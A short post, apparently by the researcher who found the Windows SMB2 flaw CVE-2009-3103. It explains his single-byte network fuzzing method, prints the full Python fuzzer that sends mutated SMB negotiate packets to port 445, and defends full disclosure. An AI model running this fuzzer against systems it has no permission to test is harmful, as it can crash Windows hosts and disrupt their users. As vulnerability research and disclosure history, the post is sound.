More explication on CVE-2009-3103

This short post is an answer to the many questions i received regarding how i found the smb2 bug.
I said to securityfocus: "this bug was found in 3 seconds and 15 packet with my home made fuzzer"; it's true.
I also pointed at MS lack of S.Q.A on SMB2; it's true.
I was studying SMB and RPC since a while, and all my tests/fuzzing was failure, until i changed my fuzzing approach with SMB2;
Single Network Byte Fuzzing.
So i hardcoded a pretty simple fuzzer (python) for this approach:
----------------------------------------------------------
from socket import *
from time import sleep
from random import choice

host = "IP_ADDR", 445

#Negotiate Protocol Request
packet = [chr(int(a, 16)) for a in """
00 00 00 90
ff 53 4d 42 72 00 00 00 00 18 53 c8 00 00 00 00
00 00 00 00 00 00 00 00 ff ff ff fe 00 00 00 00
00 6d 00 02 50 43 20 4e 45 54 57 4f 52 4b 20 50
52 4f 47 52 41 4d 20 31 2e 30 00 02 4c 41 4e 4d
41 4e 31 2e 30 00 02 57 69 6e 64 6f 77 73 20 66
6f 72 20 57 6f 72 6b 67 72 6f 75 70 73 20 33 2e
31 61 00 02 4c 4d 31 2e 32 58 30 30 32 00 02 4c
41 4e 4d 41 4e 32 2e 31 00 02 4e 54 20 4c 4d 20
30 2e 31 32 00 02 53 4d 42 20 32 2e 30 30 32 00
""".split()]


while True:
#/Core#
what = packet[:]
where = choice(range(len(packet)))
which = chr(choice(range(256)))
what[where] = which
#/Core#
#sending stuff @host
sock = socket()
sock.connect(host)
sock.send(' '.join(what))
sleep(0.1) # dont flood it
print 'fuzzing param %s' % (which.encode("hex"))
print 'complete packet %s' % (''.join(what).encode("hex"))
# When SMB Or RPC die (with TCP), sock get a timed out and die @the last packet, printing these things is more than usefull
sock.close()
----------------------------------------------------------

This simple fuzzer pwned smb2 in 3 seconds.
Nothing special here, no wheel reinvented.
Alot of security gurus were claming that auditing SMB/Netbios/TCP-IP on MS* was a waste of time.
I dont believe in these assumptions, and I definatly prefer to "waste my time"...

Also MSRC and I had a 40 emails discussion, regarding this disclosure and BLAH...
As I said in those emails, if it would've been just a little harder to find, I would've done a coordinated disclosure.
This stupid bug is a good example on how assumptions sucks, and also of how you can't rely on relational marketing. When bugs
like this hits the fan everyone goes WTF, and it gets healthy in the end, for the lambda user. MS performed a code review on SMB2
after which they said :
"For this update, the product team has so far already completed over 10,000 separate test cases in their regression testing.
They are now in stress testing, 3rd-party application testing, and fuzzing. We'd sure like to complete all that testing
before the update needs to be released"
Yep it sounds nice, clean and transparent, but if they would have done this on the MS07-063 patch they would have found this
bug in 3 seconds not in 4 weeks of hardcore fuzzing and this is a fact ;)

Yes Full-Disclosure is usefull, and yes i believe in it.